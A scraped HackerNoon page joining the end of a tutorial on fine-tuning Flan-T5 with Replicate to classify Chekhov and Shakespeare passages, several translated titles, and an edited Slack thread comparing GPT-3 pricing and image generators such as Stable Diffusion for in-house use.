pd.concat([df_chekhov_test, df_shakespeare_test]).to_json('chekhov_shakespeare_test.jsonl', orient='records', lines=True) Of course, if you want to use the entire corpus for training, you can simply run . pd.DataFrame(train_data).to_json(‘output.jsonl’, orient=’records’, lines=True) Training with Replicate We need to do two things before we can invoke the training - first, we need to upload the training data onto somewhere accessible by replicate. One very easy way to do this would be to upload the file to a google cloud bucket, make the bucket and the file public, and supply the url in the format of . https://storage.googleapis.com/<bucket_name>/<file_name> Next, we need to create a destination. To do this, simply log into Replicate (which you can do through Github OAuth), and create a new model. Once the model is created and named, you will be able to push your model to this space. Once everything is set up, you can kick off the training like so: training = replicate.trainings.create(
  version="[flant5-large location]",
  input={
    "train_data": "[Data Location]",
  },
  destination="[Destination]"
)

print(training) You should see some output that tells you the training is starting. Wait a few minutes and check back with the training by running the following code: training.reload()
print(training) You can also monitor training progress on the Replicate website. Once the training is done, you can reload the training object to get the output name and proceed to the next step. Be warned that there are time periods when GPU resources are scarce, and you may get a “training failed” error. If this happens to you, just wait a few hours and try again. There is a GPU shortage, and PaaS providers are not immune! Testing the Model All right! Now that we have our fine-tuned model, we need to test it. Remember that we reserved 15 Chekhov and Shakespeare passages for testing. We can use them here like so: for _, row in df_chekhov_test.iterrows():
    output = replicate.run(
      training.output["version"],
      input={"prompt": row['prompt']}
    )
    for s in output:
        print(s, end="", flush=True)
    print('') After a short start-up period, you should see the output being printed to the console. The model should be extremely accurate and return “Anton Chekhov” each time. Let’s try this with Shakespeare: for _, row in df_shakespeare_test.iterrows():
    output = replicate.run(
      training.output["version"],
      input={"prompt": row['prompt']}
    )
    for s in output:
        print(s, end="", flush=True)
    print('') Similar to the Chekhov example, you should see that the model is able to identify Shakespeare every time. For good measure, let’s see if the base model is able to identify Shakespeare or Chekhov: for _, row in df_shakespeare_test.iterrows():
    output = replicate.run(
      "[base flant5-large location]",
      input={"prompt": row['prompt']}
    )
    for s in output:
        print(s, end="", flush=True)
    print('')

for _, row in df_chekhov_test.iterrows():
    output = replicate.run(
      "[base flant5-large location]",
      input={"prompt": row['prompt']}
    )
    for s in output:
        print(s, end="", flush=True)
    print('') You should see that the base model is to reliably identify the playwright for the same passages. This shows that our fine tuning reliably gave the model new information, and we have built ourselves a natural language playwright classifier! unable Conclusion In today’s article, we trained a simple natural language classifier based on Flan-T5, a large language model provided by Google. Because of its compact size and permissive license, Flan-T5 can be trained and deployed on private infrastructure, which sets it apart from many of the other popular models on the market, such as ChatGPT. While the example today was based on public data and was decidedly non-commercial, this proof of concept can be easily adapted to many other commercial applications as outlined above. If you have an idea with LLMs that you like to see turned into reality, feel free to start a conversation by visiting my or page. Also, feel free to read my previous LLM articles including one about , and API. GitHub LinkedIn Building a Document Analyzer using ChatGPT Creating a Domain Expert LLM using OpenAI’s Fine Tuning Happy hacking!

Train Your Own ChatGPT-like LLM with FlanT5 and Replicate

FlanT5 এবং প্রতিলিপি দিয়ে আপনার নিজের ChatGPT-এর মতো LLM-কে প্রশিক্ষণ দিন

Trainieren Sie Ihr eigenes ChatGPT-ähnliches LLM mit FlanT5 und Replicate

Entrene su propio LLM similar a ChatGPT con FlanT5 y Replicate

Entraînez votre propre LLM de type ChatGPT avec FlanT5 et Replicate

FlanT5 और रेप्लिकेट के साथ अपनी खुद की चैटजीपीटी-जैसी एलएलएम को प्रशिक्षित करें

FlanT5 を使用して独自の ChatGPT のような LLM をトレーニングし、複製する

FlanT5 및 복제를 사용하여 나만의 ChatGPT 유사 LLM 교육

Treine seu próprio LLM semelhante ao ChatGPT com FlanT5 e Replicate

FlanT5 ile Kendi ChatGPT benzeri LLM'nizi Eğitin ve Replikalayın

Huấn luyện LLM giống GPT trò chuyện của riêng bạn với FlanT5 và nhân rộng

使用 FlanT5 和 Replicate 训练您自己的类似 ChatGPT 的 LLM

HackerNoon and the time the team compared different Open AI Image Generators for in-house use. This discussion paved the way for some awesome features like our and , both already live for your enjoyment! Read and follow along our behind-the-scenes journey. headline generator featured image generator This thread by richard-kubina and David occurred in Hackernoon's official #random channel, and has been edited for readability. Slogging richard-kubina Aug 22, 2022, 7:21 PM OpenAI is reducing the cost of GPT-3 models We are excited to share that we are reducing the price per token for our standard GPT-3 models and Embedding models. Please find our new pricing below, effective beginning September 1, 2022 00:00:00 UTC. You can also find more details on our Pricing page. Note that this pricing change does not affect fine-tuned models. MODEL	BEFORE	ON SEPT 1 Davinci	$0.06 / 1k tokens	$0.02 / 1k tokens Curie	$0.006 / 1k tokens	$0.002 / 1k tokens Babbage	$0.0012 / 1k tokens	$0.0005 / 1k tokens Ada	$0.0008 / 1k tokens	$0.0004 / 1k tokens Davinci embeddings	$0.6 / 1k tokens	$0.2 / 1k tokens Curie embeddings	$0.06 / 1k tokens	$0.02 / 1k tokens Babbage embeddings	$0.012 / 1k tokens	$0.005 / 1k tokens Ada embeddings	$0.008 / 1k tokens	$0.004 / 1k tokens We have been looking forward to this change for a long time. Our teams have made incredible progress in making our models more efficient to run, which has reduced the cost it takes to serve them. Our hope is that even more developers will now be able to experiment and build on top of our API so that more people can access the benefits of powerful AI. 👍 1 👍 2 🏦 1 David Aug 30, 2022, 9:30 PM richard-kubina, maybe time to revisit the headline generator? Ideally, the machine reads a story by contributor and suggests 3-5 headlines. gpt3 seemed really good for this (except for the cost) 👍 1 richard-kubina Aug 30, 2022, 11:50 PM It'd be neat to sort out a platform for open-source AI models... for features images, stable diffusion is a bit like Dall-E but open source, we could run it on cloud servers we run directly, which would be the cheapest way to access that functionality. I really dig its results too David Aug 31, 2022, 2:41 AM Oh, interesting! Given the cost maybe a featured image is only after the first story published? Is this the image generation alternative you mean? https://github.com/CompVis/stable-diffusion richard-kubina Aug 31, 2022, 12:17 PM Yep! David Aug 31, 2022, 6:02 PM richard-kubina is there a way to test it in the browser? just found the paper https://ommer-lab.com/research/latent-diffusion-models/ richard-kubina Aug 31, 2022, 6:31 PM I believe there is a hugging face model to test with, just takes a while.  Let me find that again. I used to pay for google collab pro to try out the resource-intensive models out, that's pretty easy to test in the browser. richard-kubina Aug 31, 2022, 6:32 PM https://huggingface.co/spaces/stabilityai/stable-diffusion richard-kubina Aug 31, 2022, 6:32 PM https://beta.dreamstudio.ai/home richard-kubina Aug 31, 2022, 6:33 PM This application is too busy! Try again soon. ah shucks, there's that issue too.  It working for me the other day edit: working now.. anywho we could see about other providers like google collab, apparently, there are more that are lesser known, cheaper was richard-kubina Aug 31, 2022, 6:48 PM already got into dream studio. A lil over a penny an image :notbad: 1 richard-kubina Sep 1, 2022, 2:25 PM I signed up for a trying out stable diffusion, it would be $8 a month to run on their GPUs, but I think other than that it would be 'free'. We could run it as much as we want. Looking into their SDK/CLI may have to spin up a python API in google cloud to access this from the editor.  If we like it and get a lot of users we could scale up by paying for more GPUs💰 they had a stable diffusion project template ready to go.. with the prompt "Kermit the Frog on the Iron Throne" https://www.paperspace.com/gradient richard-kubina Sep 1, 2022, 2:28 PM Dreamstudio could work too where we pay for the month and don't have to worry about using up credits, but paperspace is more flexible, we can run more models than just stable diffusion, like if we wanna try other models like the pixel art one, or open source GPT-3  alternatives for  text generation/summarizing/categorizing/etc models richard-kubina Sep 1, 2022, 2:44 PM oo node.js access exists :thumbsup: https://www.npmjs.com/package/paperspace-node#programmatic-access-via-paperspace-node David Sep 1, 2022, 3:20 PM AI images made John Oliver this week focuses on and in addition to dalle https://www.youtube.com/watch?v=3YNku5FKWjw&t=8s https://www.midjourney.com/ https://www.craiyon.com/ richard-kubina Sep 1, 2022, 3:27 PM Midjourney is 10 bucks for ~200 images. not sure what the commercial terms are but I know stable diffusion doesn't mind if you use it commercially "for any purpose whatsoever, including without limitation commercial, advertising or promotional purposes" https://stability.ai/stablediffusion-terms-of-service 💯 1 David Sep 1, 2022, 3:32 PM Craiyon's terms are way worse - they want 20% of NFT sales made with it, accreditation everywhere, and contact sales for use for companies like ours https://www.craiyon.com/terms ☹ 1 David Sep 6, 2022, 10:15 PM richard-kubina for ref, here's ux example of someone turning a wordpress text editor block into a dalle powered image gallery https://twitter.com/UglyRobotDev/status/1565030948428828675 🔥 1 David Sep 6, 2022, 10:17 PM lol sidenote discovery https://twitter.com/bakztfuture/status/1528173885517987840 😂 1

Open AI Images on HackerNoon: The Conundrum

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